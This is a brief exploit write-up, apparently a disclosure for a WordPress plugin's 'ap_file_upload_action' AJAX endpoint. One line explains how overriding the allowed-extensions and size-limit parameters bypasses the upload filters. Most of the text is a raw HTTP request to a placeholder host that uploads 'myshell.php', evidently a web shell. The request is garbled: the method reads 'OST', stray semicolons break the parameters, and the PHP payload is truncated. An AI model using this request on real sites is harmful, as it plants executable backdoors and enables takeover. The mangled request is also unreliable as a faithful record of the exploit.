Improper sanitization allows the attacker to override the settings for allowed file extensions and upload file size. This allows the attacker to upload anything they want, bypassing the filters.
OST /wp-admin/admin-ajax.php?action=ap_file_upload_action&file;_uploader_nonce=[nonce]&allowedExtensions;[]=php&sizeLimit;=64000 HTTP/1.1 Host:target.com User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.12; rv:55.0) Gecko/20100101 Firefox/55.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Content-Type: multipart/form-data; boundary=---------------------------7230359611602921801124357792 Content-Length: 264 Referer: http://target.com/ Cookie: PHPSESSID=22cj9s25f72jr376ln2a3oj6h6; Connection: close Upgrade-Insecure-Requests: 1 -----------------------------7230359611602921801124357792 Content-Disposition: form-data; name=“qqfile”; filename=“myshell.php” Content-Type: text/php &1’); ?> -----------------------------7230359611602921801124357792–